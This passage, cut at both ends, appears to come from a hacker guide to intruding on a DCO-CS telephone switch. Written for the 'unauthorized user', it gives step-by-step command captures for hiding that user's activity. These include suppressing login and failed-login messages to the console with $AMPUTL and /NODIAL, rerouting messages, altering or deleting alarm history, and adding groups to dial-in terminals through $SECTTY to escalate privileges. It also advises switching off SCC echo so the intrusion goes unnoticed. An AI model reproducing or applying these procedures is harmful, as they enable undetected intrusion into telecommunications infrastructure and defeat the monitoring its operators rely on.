The date, time, program executed or file accessed (if applicable), port of origination, sortkey, terminal, and message in ASCII text comprise, in that order from left to right, top to bottom, the message, the likes of which is output by default to the local terminal in addition to the console (TT00), where the attentive administrator or technician will undoubtedly notice odd or unexpected activity, such as logins during strange hours, execution of programs outside of the aforementioned sphere of tasks of a particular account, activity on a particular port that may differ from that upon which the account/user logged in is ordinarily present, etc. The potential negative impact of this upon the maintenance of one's (presumably unauthorized) access should be evident; fortunately for the unauthorized user, there exist a small variety of methods using a few key utilities to mitigate the effect of these messages.

Defeating the Printing and Logging of Status Messages‑

Although it is not directly preventive and thus not a strictly classified "security" measure, the constant deluge of status messages pertaining to the execution and exit of utilities, etc., especially that of the LOGIN and LOGOFF utilities, presents a challenge to potential intruders as they are by default broadcast to the console (TT00). These messages are identified by "sortkeys" of the format XXX.0000 or XX.000, where XX(X) are two or three letters signifying the classification/type of the message and the zeroes the number of the exact message, which is either three or four digits in length. Sortkey numbers of three digits in length may be typed with a preceding zero (MP.0354 or MP.354) as well. A list of sortkey prefixes (or "groups") follows, provided by $AMPUTL, which is discussed elsewhere in this document:

AMP> SORTKEY (SORTKEY=HELP) >

VALID RESPONSES ARE GROUP TYPES FOLLOWED BY A GROUP NUMBER YYY.XXXX YYY IS THE ALPHA QUALIFIER FOR THE GROUP TYPE

XXXX IS THE NUMERIC QUALIFIER FOR THE GROUP NUMBER

* , YYY.* CAN BE USED FOR ALARMS WITHIN A GROUP

'DONE' CAN BE USED TO TERMINATE THE PROMPT IF THE TASK IS IN A REPEAT MODE

ACI.XXXX ‑ ALARM COMMUNICATION INTERFACE

ADM.XXXX ‑ ADMINISTRATIVE

ALT.XXXX ‑ AUTOMATIC LINE TESTING

AMA.XXXX ‑ AUTOMATED MESSAGE ACCOUNTING

CBC.XXXX ‑ COMMUNICATION BUS CONTROLLER

CLC.XXXX ‑ COMMUNICATION LINK CONTROLLER

CLK.XXXX ‑ SNC, ANI, CLOCKS

CP.XXXX ‑ CALL PROCESSOR ALARMS

CPE.XXXX ‑ CALL PROCESSOR ERROR ALARMS

CUS.XXXX ‑ CUSTOMER GENERATED ALARMS

DLI.XXXX ‑ DATA LINK INTERFACE

DS1.XXXX ‑ DIGITAL T‑1 SPAN MODULE ALARMS

ENV.XXXX ‑ ENVIORNMENTAL ALARMS

FP.XXXX ‑ FEATURE PROCESSOR

LGC.XXXX ‑ LINE GROUP CONTROLLER

AMP> ADDITIONAL HELP (MORE=YES) >

LIN.XXXX ‑ LINE

LSC.XXXX ‑ LINE SWITCH CONTROLLER

LTC.XXXX ‑ LINE TEST CONTROLLER

MAH.XXXX ‑ HOST MESSAGE ASSEMBLER

MAR.XXXX ‑ REMOTE MESSAGE ASSEMBLER

MCC.XXXX ‑ MCC ALARMS

MCI.XXXX ‑ MAINTENANCE COMMUNICATION INTERFACE

MDC.XXXX ‑ MAINTENANCE AND DIAGNOSTIC CONTROLLER 1

MD2.XXXX ‑ MAINTENANCE AND DIAGNOSTIC CONTROLLER 2

MIC.XXXX ‑ MESSAGE INTERFACE CONTROLLER

MP.XXXX ‑ MAINTENANCE AND ADMINISTRATION PROCESSOR

PWR.XXXX ‑ POWER ALARMS

RLG.XXXX ‑ REMOTE LINE GROUP

RNG.XXXX ‑ RINGING

RPL.XXXX ‑ REMOTE POLLED LAMA

SLC.XXXX ‑ SLC‑96

SS7.XXXX ‑ SS7 ALARMS

SSC.XXXX ‑ SIGNALLING SYSTEM CONTROLLER

SVC.XXXX ‑ SERVICE CIRCUITS

TMP.XXXX = TMP ALARMS

TON.XXXX ‑ TONE

AMP> ADDITIONAL HELP (MORE=YES) >

TPP.XXXX ‑ TELEPHONY PRE‑PROCESSOR

TRK.XXXX ‑ TRUNK

TST.XXXX ‑ TEST ALARMS

The knowledge of the sortkey of a particular message is necessary to alter or display data associated with that message within the following utilities. Sortkeys may be identified in messages as seen above, or looked up in the $AMPUTL utility. The messages are quite inherently extensive in their reporting of the conditions in which the task reported upon was executed; thus, they provide an extremely incriminating record of unauthorized or "odd" activity on the switch. The author is personally aware of at least one specific instance in which an individual's access to a DCO was permanently terminated due to precisely this‑the astute viewing of messages printed to the console and elsewhere culminating in a realization of unauthorized activity. It is therefore extremely important for the unauthorized user to control when, how, and where these messages are printed. There exist to this end a few effective methods by which to thwart the tracking of one's activity on the switch using the utilities and access available as a segment of the MMI. It is recommended that all of these be used in combination, in order to ensure maximum possible stealth. All are generally individually limited by the existence of the logging measures defeated by the others; for instance, the use of the command parameter /NODIAL is assistive in concealing one's presence, but the storage and direction of information messages generated by utilities/programs will require the use of $AMPUTL to protect most fully the secrecy of usage.

The /NODIAL Parameter‑

Within the DCO MMI there are certain parameters that may be affixed to command strings in order to handle the input and output of commands. /NODIAL is one such parameter. It is an abbreviation for "NO DIALOGUE", indicating that the execution of a command/menu option to which it is affixed will not be itself reported to the defined termination points (the ports/TTYs to which the message is sent/printed). Alternately conveyed, one through the use of /NODIAL avoids the printing of this sort of "BEGIN/END DIALOGUE" message:

DCO_CITYDATA 09‑00‑00 00:00:00 ADMIN TT01

M ADM.0000: ADMIN BEGIN DIALOGUE

The begin/end dialogue messages may not be manipulated through $AMPUTL or the other following utilities, since the sortkey ADM.0000 is not recognized by them as valid. ADM.0000 is a universal sortkey of sorts, used to signify all "begin dialogue" messages for all utilities/programs; it is thus unassigned to any particular message. Likewise, sortkey ADM.0001 universally signifies all "end dialogue messages", and is unassigned therefore as well. An attempt to alter or display a message with sortkey ADM.0000 through $AMPUTL will prompt the following output:

AMP> SORTKEY (SORTKEY=HELP) > ADM.0000

AMPUTL: SORTKEY IS UNASSIGNED

/NODIAL will offer one a degree of anonymity, then, but it does not prevent certain messages from being printed/displayed.

Thwarting Information Messages With $AMPUTL‑

A method exists to defeat the broadcast of messages using the $AMPUTL command, the likes of which entails the use of the Alarm Message Processing Utility, a program accessible to all default groups. The AMPUTL menu system is as follows:

$AMPUTL

AMP> FUNCTION (FUNCTION=HELP) >

CHANGE ‑ CHANGE MESSAGE

DISPLAY ‑ DISPLAY MESSAGE

EXIT

The "DISPLAY" option will display the text of the message itself in addition to other information pertaining to it, such as the termination points, alarm level (if applicable), etc. Here is an example of the output of "DISPLAY" for sortkey MP.0354, which identifies the message that a user has logged into the switch:

AMP> FUNCTION (FUNCTION=HELP) > DISPLAY

AMP> SORTKEY (SORTKEY=HELP) > MP.0354

SORTKEY ENTRY MP .354

<TTY><DT1=USERNAME.A8>LOGGED IN

ALARM LEVEL NONE

INFORMATION MESSAGE

NO ACI INTERFACE, TERMINAL LIMIT 0

TERMINATION POINTS ARE CONSOLE, TI:,

The first field obviously contains the sortkey used to identify the message, the second line/field the ASCII text of the message, the third field the alarm level, (which is here "NONE" since the logging in and out of users does not activate an alarm), the fourth the type of message, the fifth the type of interface and terminal limit associated with the message, and the final field the termination points. Using the "CHANGE" option to alter the properties of any particular message, a multitude of options may be set, but most importantly the text and termination points of the message may be altered, presenting two possible venues to negate the revealing effect of such messages. The termination point may be set thus to the initiating terminal only, or the text of the message may be altered to suit the needs of an intruder. A list of attributes that may be altered through CHANGE follows:

AMP> FUNCTION (FUNCTION=DISPLAY) > CHANGE

AMP> FIELD (FIELD=HELP) >

ADMINISTERABLE FIELDS ARE:

EXIT ‑ EXIT AMPUTL

^ ‑ QUIT CHANGE WITHOUT UPDATING

DONE ‑ UPDATE DATABASE ON DISK

ACI ‑ ALARM CONTROL INTERFACE

DELAY ‑ DELAY ALARM SENDING

E2A ‑ E2A ADDRESS

FEI ‑ FAULT, ERROR, OR INFORMATION

GROUP ‑ GROUPING NUMBER

LEVEL ‑ ALARM LEVEL

LIMIT ‑ TERMINAL LIMIT

MASKABLE ‑ MASKABILITY FLAG

REPEAT ‑ REPEAT FLAG

TERMPT ‑ TERMINATION POINTS

TEXT ‑ ASCII TEXT (OUTPUT MESSAGE)

RLS ‑ RLS ALARM MESSAGE

BMP ‑ BMP LED ASSIGNMENT

To alter the termination points of the message, thereby instructing the switch to print it only to certain specified terminals/TTYs, TERMPT is entered at the FIELD prompt:

AMP> FIELD (FIELD=HELP) > TERMPT

TERMPTS ARE CONSOLE, TI:,

The current termination points of this message were, as displayed, the console and TI (initiating terminal). Numerous devices are then presented which may be set as termination points for the message:

AMP> DEVICE (DEVICE=HELP) >

EXIT ‑ EXIT FROM MASKING UTILITIES

^ ‑ BACKUP TO PREVIOUS PROMPT

DONE

ALL ‑ ALL PORTS

CONSOLE ‑ SYSTEM CONSOLE

NAC ‑ NAC TERMINAL

RLS ‑ RLS TERMINAL

AMATPS ‑ AMATPS MESSAGE FILE

TT00‑TT31 ‑ ANY PARTICULAR TTY

TI ‑ INITIATING TERMINAL

For maximum stealth it would be advisable to set the termination points of a message to the initiating terminal only, so that it will be displayed only on the remote user's terminal, here TT01, when it is invoked by said user:

AMP> DEVICE (DEVICE=HELP) > CONSOLE

AMP> STATUS (STATUS=HELP) >

REMOVE

ADD

^

EXIT

AMP> STATUS (STATUS=HELP) > REMOVE

AMP> DEVICE (DEVICE=DONE) >

AMP> FIELD (FIELD=HELP) > TERMPT

TERMPTS ARE TI:,

AMP> DEVICE (DEVICE=HELP) > DONE

AMP> FIELD (FIELD=DONE) >

AMP> FUNCTION (FUNCTION=CHANGE) >

Following this procedure, the termination point of the message MP.0354 is set only to the initiating terminal; when a user logs in from TT01, the information message announcing it will only be displayed on his/her terminal and will not be printed to the console. It would be most useful for an unauthorized user to set the termination points of the following few messages to TI only: MP.0354 (<TTY><DT1=USERNAME.A8>LOGGED IN), MP.0343 (<TTY>LOGGED OFF), MP.0676 (<TTY>EXCESSIVE LOGIN ATTEMPTS), MP.0002 (FILE NOT FOUND ON DISK), MP.0461 (<TASK><FILE>INVALID NAME) and MP.0733 (INVALID TASK NAME) as these will commonly and naturally, as a matter of course, be displayed through navigation into and around the switch and reveal glaringly more than any other information or error messages an unauthorized presence.

Monitoring Other TTYs and Redirecting Messages With $UTL‑

Occasionally during the course of switch use it may prove useful to monitor and manage tasks active on other terminals and to redirect I/O. The Utility Program ($UTL) may be employed to accomplish these and other functions related to task management. Unlike other utilities discussed throughout, the "function codes" of $UTL must be entered in a single string on the command line:

$UTL /NODIAL

DCO_CITYDATA

09‑00‑00 00:00:00 TUESDAY UTILITY PROGRAM

UTL:INVALID FUNCTION CODE

DCO>

$UTL HELP /NODIAL

DCO_CITYDATA

09‑00‑00 00:00:00 TUESDAY UTILITY PROGRAM

FUNC DESCRIPTION FORMAT EXAMPLES

==== ======================= ======

ACT ACTIVE TASK LIST ACT

OR ACT ALL

OR ACT TERM

OR ACT TERM:TT06

OR ACT ALL TERM

OR ACT ALL TERM:TT06

ATB AUTO TRUNK MAKE BUSY ATB 122.:ON=50.

OR ATB 37.:OFF

BRO BROADCAST MESSAGE BRO TT02 HELLO

OR BRO ALL REBOOT

DMO DISMOUNT DEVICE/FEATURE DMO I1:

OR DMO CNTRL

OR DMO REQUIRED

OR DMO LSXWRI 430

MOU MOUNT DEVICE/FEATURE (SEE DMO EXAMPLES)

PRI STATIC PRIORITY PRI

OR PRI STATUS

OR PRI STATUS=100

RED REDIRECT TASK I/O RED STATUS:TT01

RPR RUN PRIORITY (SEE PRI EXAMPLES)

SCED SCHEDULED TASKS SCED

TID TERMINAL ID QUERY TID

ACT will display a list of active tasks based upon the parameter entered. As seen in the capture, to display tasks active on a particular terminal, one would enter:

$UTL ACT TERM:TTXX

ATB will busy out a specified trunk, BRO will broadcast a message to another terminal, PRI sets priority of tasks, and DMO/MOU will mount or dismount devices/features. Possibly the most useful function of UTL is RED, which may be entered to redirect the I/O of a task to another terminal as seen in the format example in the capture. Reports generated with numerous other utilities might be printed elsewhere, etc. TID or "TERMINAL ID QUERY" will simply display the terminal that one is currently using, similar to the "tty" command in DMERT/UNIX‑RTR/5ESS UNIX on a Lucent 5ESS.

$UTL TID /NODIAL

DCO_CITYDATA

09‑00‑00 00:00:00 TUESDAY UTILITY PROGRAM

TERMINAL ID => TT01

Rerouting Messages with $RRTUTL‑

The $RRTUTL utility may be used to reroute messages destined for a particular TTY and to display message routing to terminals.

RRT> FUNCTION (FUNC=HELP) >

VALID FUNCTIONS ARE:

LIST ‑ LIST ALL LOCAL OR REMOTE TERMINAL ROUTING

DISPLAY ‑ DISPLAY ONE LOCAL OR REMOTE TERMINAL ROUTING CHANGE ‑ CHANGE ONE LOCAL OR REMOTE TERMINAL ROUTING

EXIT ‑ EXIT OUT OF THIS OVERLAY

RRT> FUNCTION (FUNC=HELP) > DISPLAY

RRT> DATABASE (DATABASE=HELP) >

ENTER ROUTING DATABASE TYPE ‑ LOCAL OR REMOTE

LOCAL ‑ ROUTING OF MESSAGES VIA THE TERMINAL NUMBER OR BY SORTKEYS REMOTE ‑ ROUTING OF RNS/RLS‑4000 MESSAGES VIA THE NODE NUMBER

RRT> DATABASE (DATABASE=HELP) > LOCAL

RRT> TYPE OF TERMINAL (TYPE=HELP) >

ENTER TERMINAL #, OUTPUT DEVICE PSEUDO NAME OR SORT KEY

THAT IS TO HAVE ITS MESSAGES REROUTED

RRT> TYPE OF TERMINAL (TYPE=HELP) > TT01

RRTUTL: INVALID TYPE ENTERED ‑ TT01, PLEASE RE‑ENTER

RRT> TYPE OF TERMINAL (TYPE=HELP) > 01

PORT 1 HAS NO FAILOVER PORT

PORT 1 HAS NO REROUTING

RRT> FUNCTION (FUNC=DISPLAY) >

RRT> DATABASE (DATABASE=LOCAL) >

RRT> TYPE OF TERMINAL (TYPE=01) > 00

PORT 0 HAS FAILOVER PORT = 1

PORT 0 REROUTE TO PORT 1

PORT 0 REROUTE TO PORT 2

RRT> FUNCTION (FUNC=DISPLAY) >

RRT> DATABASE (DATABASE=LOCAL) >

RRT> TYPE OF TERMINAL (TYPE=00) > 02

PORT 2 HAS NO FAILOVER PORT

PORT 2 HAS NO REROUTING

RRT> FUNCTION (FUNC=DISPLAY) >

RRT> DATABASE (DATABASE=LOCAL) >

RRT> TYPE OF TERMINAL (TYPE=02) > 03

PORT 3 HAS NO FAILOVER PORT

PORT 3 HAS NO REROUTING

RRT> FUNCTION (FUNC=DISPLAY) >

RRT> DATABASE (DATABASE=LOCAL) >

RRT> TYPE OF TERMINAL (TYPE=03) > 04

PORT 4 HAS NO FAILOVER PORT

PORT 4 HAS NO REROUTING

RRT> FUNCTION (FUNC=DISPLAY) > EXIT /NODIAL

As seen in the captures, messages destined to port 0 (the system master console, TT00) will reroute to ports 1 and 2 (TT01 and TT02).

Defeating Alarm Logging with $HSTUTL‑

As may be discovered through interactive use of the $AMPUTL utility, information messages (such as notification of user login/off) and alarm messages are distinctly categorized, although the broadcast method used for both is identical. With the use of any hacker/inexperienced user of the switch lies the possibility that mistakes will be made and alarms activated. Alarms, in certain situations, may reveal an unauthorized presence on the switch, and as such must be for purposes of stealth silenced. Such an occurrence is highly unlikely, however, and one exploring a DCO without authorization would be well advised to refrain from tampering with the alarms stored on the switch as they are often diagnostically essential to switch maintenance; the deletion of crucial alarms not yet reviewed by maintenance would be potentially perilous indeed. In any case, alarm messages are logged in history files stored on the disk and accessible through $HSTUTL. These history files are classified into numbered "controllers" based upon the type of alarms with which they are concerned, and the "data files" of the alarm messages themselves. Operations on controllers provide a general overview of the alarm logs without the need to view specific, dated messages. The menu system of HSTUTL:

$HSTUTL /NODIAL

HST> FUNCTION (FUNC=HELP) >

EXIT ‑ EXITS HSTUTL

DISPLAY ‑ DISPLAYS SINGLE HISTORY FILE

LIST ‑ LISTS ALL HISTORY FILES

ADD ‑ ADD A NEW HISTORY FILE ENTRY

DELETE ‑ DELETE A HISTORY FILE ENTRY

CHANGE ‑ CHANGE AN EXISTING HISTORY FILE ENTRY

BRIEF ‑ GENERATE BRIEF HISTORY REPORT

With "DISPLAY", one may display either a controller or a data file; as per usual, the "LIST" option will either list all controllers in output complete with references and occurrences, or all data files associated with a particular controller.

HST> FUNCTION (FUNC=HELP) > LIST

HST> CONTROLLER OR LOGGING (TYPE=HELP) >

EXIT ‑ EXITS HSTUTL

CONTROLLER ‑ HISTORICAL LOGGING CONTROLLER FILE

LOGGING ‑ HISTORICAL LOGGING DATA FILE

HST> CONTROLLER OR LOGGING (TYPE=HELP) > CONTROLLER

CONTROL NAME REF OCCUR. MATCH TYPE

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 SGD ALARMS 109 10 NONE

3 SYNC ALARMS 42 10 NONE

5 SWC ALARMS 74 10 NONE

6 TPP MISMATCH ALARMS 1 10 NONE

7 STATE 1 1 10 NONE

8 STATE 2 1 10 NONE

9 STATE 4 1 10 NONE

10 CBC RESTARTED/STARTUP COMPLETE 2 10 NONE 11 LSC STARTUP COMPLETE 1 10 NONE 12 FP RESTORE/STARTUP COMPLETE 3 10 NONE 13 EXTENDED NON‑SYNCHRONOUS OPERATION 1 1 NONE 14 MP STARTUP COMPLETE 1 10 NONE

HST> FUNCTION (FUNC=LIST) >

HST> CONTROLLER OR LOGGING (TYPE=CONTROLLER) > LOGGING

HST> CONTROLLER NUMBER (CONT=HELP) > 0

CONTROL NAME REF OCCUR. MATCH TYPE

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 SGD ALARMS 109 10 NONE

DCO_CITYDATA 09‑00‑00 00:00:00 SGDDRV TT00

** PWR.0001: BATTERY CHARGER FAILURE (SGD)

DCO_CITYDATA 09‑00‑00 00:00:00 SGDDRV TT00

** PWR.0001: BATTERY CHARGER FAILURE (SGD)

DCO_CITYDATA 09‑00‑00 00:00:00 SGDDRV TT00

** PWR.0001: BATTERY CHARGER FAILURE (SGD)

DCO_CITYDATA 09‑00‑00 00:00:00 SGDDRV TT00

** PWR.0001: BATTERY CHARGER FAILURE (SGD)

DCO_CITYDATA 09‑00‑00 00:00:00 SGDDRV TT00

MP .0098:CMF=000,SIDE=X REFERENCE TIMING DEVIATION

DCO_CITYDATA 09‑00‑00 00:00:00 SWITCH TT01 CLK.0009:CMF=000,SIDE=Y MASTER CLOCK SWITCHED TO ONLINE (SGD)

With "CHANGE" one may alter a history file entry, and one may delete an existing one with, naturally, "DELETE".

Escalation of Privileges

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In many cases it may be necessary for the unauthorized user to escalate the privileges of a particular account to which access has been attained, or to obtain access to the switch through another account entirely with alternate privileges. The purposes or motives behind such an attempt at privilege escalation may be directed at expansion of one's ability to ability to explore the switch, or perhaps to the end of stealth itself; as has been demonstrated previously and heretofore, the specialization of accounts may restrict one's access to utilities necessary for concealment. Both superficial methods and those requiring one to delve more deeply into the heart of the switch, as it were, exist naturally to this end.

$SECTTY‑

As an attempted security measure to counter the general problem of nearly universally used defaults, it may be impossible to login with any account other than SCAT from the dial‑in ports; however, SCAT is authorized to execute the command $SECTTY, which sets attributes such as terminal logins. It is therefore possible to individually add users to the list of those authorized to log in from, as an example, TT01, or to create a new user group, assign all of the desired users/accounts to it, and authorize said group to log in from TT01. Restricted access to the file system as well as to certain ports and utilities is one of the primary security measures employed by the DCO‑CS to limit user access based upon necessity.

DCO>

$SECTTY

DCO_CITYDATA 08‑00‑00 00:00:00 SECTTY TT01

M ADM.0000: SECTTY BEGIN DIALOGUE

SEC> FUNCTION (FUNC=HELP) >

THE FOLLOWING IS A LIST OF VALID FUNCTIONS :

SETCON ‑ SET SYSTEM CONSOLE

SETNAC ‑ SET NAC TERMINAL

ADD ‑ GROUP TO TERMINAL ACCESS

DELETE ‑ GROUP FROM TERMINAL ACCESS

DISPLAY ‑ EQUIPPED TERMINAL ACCESS RIGHTS

DEFINE ‑ NEW GROUP NAME

REMOVE ‑ EXISTING GROUP NAME

RESTRICTION ‑ SET UP FUNCTION LEVEL RESTRICTION FOR GROUP LIST ‑ VALID GROUP NAMES

SETTYP ‑ SET TERMINAL TYPE

SETATT ‑ SET TERMINAL ATTRIBUTES

EXIT ‑ EXITS SECTTY

SEC> FUNCTION (FUNC=HELP) > DISPLAY

SEC> TTY NUMBER (TTY=HELP) >

VALID TTY NUMBERS ARE:

0‑31

SEC> TTY NUMBER (TTY=HELP) > 00

SECTTY ‑ TERMINAL ACCESS RIGHTS

TTY GROUP

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 SCAT

SEC> FUNCTION (FUNC=DISPLAY) >

SEC> TTY NUMBER (TTY=00) > 01

SECTTY ‑ TERMINAL ACCESS RIGHTS

TTY GROUP

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 SCAT

SEC> TTY NUMBER (TTY=4) > 3

SECTTY ‑ TERMINAL ACCESS RIGHTS

TTY GROUP

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

3 SCAT

SEC> FUNCTION (FUNC=DISPLAY) > LIST

SECTTY ‑ VALID GROUP NAMES

GRP# GRP NAME RESTRICTION WORD 15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 2 TMRS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 3 STATUS 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 4 MAINT 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 5 SECURE 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 6 NAC 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 7 ESPF 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 8 UNDEFINED

9 UNDEFINED

10 UNDEFINED

11 UNDEFINED

12 UNDEFINED

13 UNDEFINED

14 UNDEFINED

15 UNDEFINED

16 SCAT 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

SEC> FUNCTION (FUNC=DISPLAY) > ADD

SEC> GROUP NAME (NAME=HELP) > MAINT

SEC> TTY NUMBER (TTY=00) > 01

SECTTY: GROUP ADDED FOR TTY 1

SEC> FUNCTION (FUNC=ADD) > EXIT

Terminal access rights/privileges are defined, as seen in the captures, through the bit configuration of a "restriction word" for each group. Group access may also be manipulated through the modification of this word.

SEC> FUNCTION (FUNC=HELP) > RESTRICTION

SEC> GROUP NUMBER (GROUP=HELP) > 1

CURRENT RESTRICTION WORD:

GRP# GRP NAME RESTRICTION WORD 15 14 13 12 11 10 9 8 7 6 5 4 3 BXC RCO NAC

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ADMIN 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0

SEC> RESTRICTION WORD (VALUE=HELP) >

0 ‑ 65535 ANY BIT CONFIGURATION OF WORD

SETATT allows a user to set numerous terminal options, one of which is particularly significant as pertains to the concealment and hence preservation of one's access.

SEC> FUNCTION (FUNC=HELP) > SETATT

SEC> TTY NUMBER (TTY=HELP) > 01

SEC> OUTPUT NULLS (NULL=YES) >

SEC> OUTPUT PRIORITY (PRIORITY=NO) >

SEC> VT RESTRICTED (VTREST=NO) >

SEC> ECHO I/O TO SCC (SCC_ECHO=NO) >

SEC> INTER CHARACTER TIMING (INTCHAR TIME=YES) >

SEC> IDLE TERMINAL LOGOFF (IDLE TIME=NO) >

SEC> PAGINATED OUTPUT (PAGOUT =NO) >

SEC> SEND EOM TO TERMINAL (EOM=YES) >

SEC> TERMINAL LIMIT (LIMIT =0) >

SCC_ECHO may be set to "YES" or "NO" depending upon the individual configurations of different TTYs, but it should certainly be set to "NO" during unauthorized usage‑otherwise, input and output through the terminal will be echoed to the SCC, and, due to the heavy monitoring thereof, one's access will be likely detected quickly and terminated, at best, rather quickly! If this was set for a particular TTY, though, an alteration of it might be noticed soon thereafter and thought suspicious; it is therefore advisable, if SCC_ECHO was set to "YES", to turn it off during one's session of system use and set it back to its original state prior to logging off. Then again, if this option was set for a single TTY, it might be wise simply to login from another if possible, for at least a minimal amount of preliminary I/O would be echoed to the SCC prior to deactivation of that feature.

Exploration of the File System with $FILSYS‑

The filesystem of the DCO‑CS is accessible through the $FILSYS utility, from which directories may be traversed, various forms of the disk directory printed, access rights displayed and modified, etc. The functions/options of FILSYS are as follows:

FIL> ENTER FUNCTION (FUNC=HELP) >

ACCESS ‑ CHANGE ACCESS RIGHTS

ATTRIB ‑ LIST ALL FILES W/ THE SPECIFIED ATTRIBUTE BACKUP ‑ BACKUP DISK

BADBLK ‑ GET A BAD BLOCK REPORT

BLKEDT ‑ EDIT DISK BLOCKS

COMPARE ‑ COMPARE TWO FILES

COMPRESS ‑ COMPRESS A DISK

COPY ‑ COPY FILES

CP_COMPRESS ‑ COMPRESS CP PROGRAM FILE

CWD ‑ CHANGE WORKING DIRECTORY

DB_COMPRESS ‑ COMPRESS CP DATABASE FILE

DELETE ‑ DELETE FILE

DIR ‑ DISK DIRECTORY

DSKCMP ‑ DISK COMPARE

FDIR ‑ FULL DISK DIRECTORY

FORMAT ‑ FORMAT A DISK

FREE ‑ GET FREESPACE INFORMATION FOR A DISK

HDEDIT ‑ EDIT PROGRAM HEADER

MKDIR ‑ MAKE A SUB‑DIRECTORY

MKFS ‑ MAKE A FILESYSTEM

MKTAPE ‑ MAKE A DCO TAPE FILESYSTEM

FIL> ADDITIONAL HELP (MORE=YES) >

MOVE ‑ MOVE A FILE FROM ONE DIRECTORY TO ANOTHER RENAME ‑ RENAME FILES

SCHEDULE ‑ SCHEDULE DSKMGR TO RUN

SDIR ‑ SHORT DISK DIRECTORY

SFDIR ‑ SHORT FULL DISK DIRECTORY

TYPE ‑ PRINT TEXT FILE CONTENTS

VOLCHG ‑ CHANGE A VOLUME LABEL

As stated previously, the DCO‑CS filesystem is divided into many directories and sub‑directories beginning with the /ROOT/ directory. The file attributes that may be input at ATTRIB are:

FIL> ENTER ATTRIB (ATTRIB=HELP) >

ABCPSU ‑ ABORT TASK ON CPSU

ABSWO ‑ ABORT TASK ON A/B SWITCHOVER

CCHOFF ‑ TASK RUNS WITH CACHE OFF

CP1SYS ‑ SINGLE COPY ALLOWED PER SYSTEM

CP1TTY ‑ SINGLE COPY PER TERMINAL ALLOWED

DBFILE ‑ DATA BASE FILE

DCCNTL ‑ UNDER DIAGNOSTIC CONTROL

INCSWO ‑ INHIBITS MP CONTROLLED SWITCHOVER

INDSPA ‑ TASK HAS SEPARATE I AND D SPACE

INSTLL ‑ TASK MAY BE INSTALLED

INTACT ‑ TASK IS INTERACTIVE

KTASK ‑ KERNAL TASK

MEMSEG ‑ TASK IS MEMORY RESIDENT SEGMENTED

MRDATA ‑ MEMORY RESIDENT DATA BASE

NOABRT ‑ DO NOT ALLOW ABORT OF TASK

NOINTS ‑ TASK RUNS WITH INTERRUPTS OFF

NONMAN ‑ NO MANUAL INITIATION OR ABORT ALLOWED

NOSTAT ‑ NO PRINT IN ACT STAT LIST IF BLOCKED

QUEREQ ‑ QUEUE REQUEST IF TASK ACTIVE

RBOABR ‑ RE‑BOOT ON ABORT

RESCED ‑ RESCHEDULE TASK IF ABORTED

FIL> ADDITIONAL HELP (MORE=YES) >

SEGMNT ‑ SEGMENTED TASK

SGUMAP ‑ UNMAP UNUSED MEMORY AFTER SEGMENT LOAD

SHRMEM ‑ SHARE MEMORY IF TASK ACTIVE

STKCON ‑ ALLOCATE STACK CONTIGUOUS TO PROGRAM

STKHI ‑ ALLOCATE STACK FROM UPPER PAR AVAILABLE

Blocks of memory on the disk may be manually edited with BLKEDT (the $MEMMAP utility displays block numbers, types, sizes, and names):

FIL> ENTER DEVICE (DEVICE=HELP) > SY

FIL> ENTER BLOCK (BLOCK=HELP) >

VALID BLOCKS ARE OCTAL NUMBERS FROM

0 TO THE MAXIMUM FOR THIS DEVICE.

FIL> ENTER BLOCK (BLOCK=HELP) > 0

LOCATION: 000000 000002 000004 000006 000010 000012 000014 000016 VALUE: 000240 000402 000042 000340 106427 000340 010167 000602 FIL> NEW VALUE: HELP

ADV ‑ ADVANCE TO NEXT 8 WORDS OF BLOCK

BCK ‑ BACKUP TO PREVIOUS 8 WORDS OF BLOCK

EXIT ‑ EXIT BLKEDT WITHOUT DISK UPDATE

DONE ‑ DONE, UPDATE BLOCK TO DISK

OCTAL NUMBERS RANGING FROM 0 TO 177777

DIR, FDIR, SDIR, and SFDIR all display in some fashion the disk directory. DIR displays the components of the directory in the following format:

FIL> ENTER FUNCTION (FUNC=HELP) > DIR

FIL> ENTER FILENAME (FILE=HELP) >

ANY FILENAME

FIL> ENTER FILENAME (FILE=HELP) > /

FILENAME TYPE CREATION DATE LAST CHANGE FILE SIZE PRIO A HDRADDR

/ROOT/

BITMAP FRSP

AMPPAT DIR 03‑00‑00 00:00:00 03‑00‑00 00:00:00 000000220 0000 0 00XXXXXX

/ROOT/AMPPAT/

T0000_RES P/D 03‑00‑00 00:00:00 03‑00‑00 00:00:00 000000002 0000 0 00XXXXXX P0054_RES P/D 04‑00‑00 00:00:00 04‑00‑00 00:00:00 000000367 0000 0 00XXXXXX P0068_RES P/D 04‑00‑00 00:00:00 04‑00‑00 00:00:00 000000306 0000 0 00XXXXXX P0070_RES P/D 04‑00‑00 00:00:00 04‑00‑00 00:00:00 000000764 0000 0 00XXXXXX P0119_RES P/D 04‑00‑00 00:00:00 04‑00‑00 00:00:00 000002501 0000 0 00XXXXXX

The filename, file type, creation date, date of last change, file size, priority, and address on the hard disk are displayed. The two file types are DIR (directory) and P/D (program, .txt file, .dat file, etc.). FDIR (Full Disk Directory) displays a few more aspects of files examined:

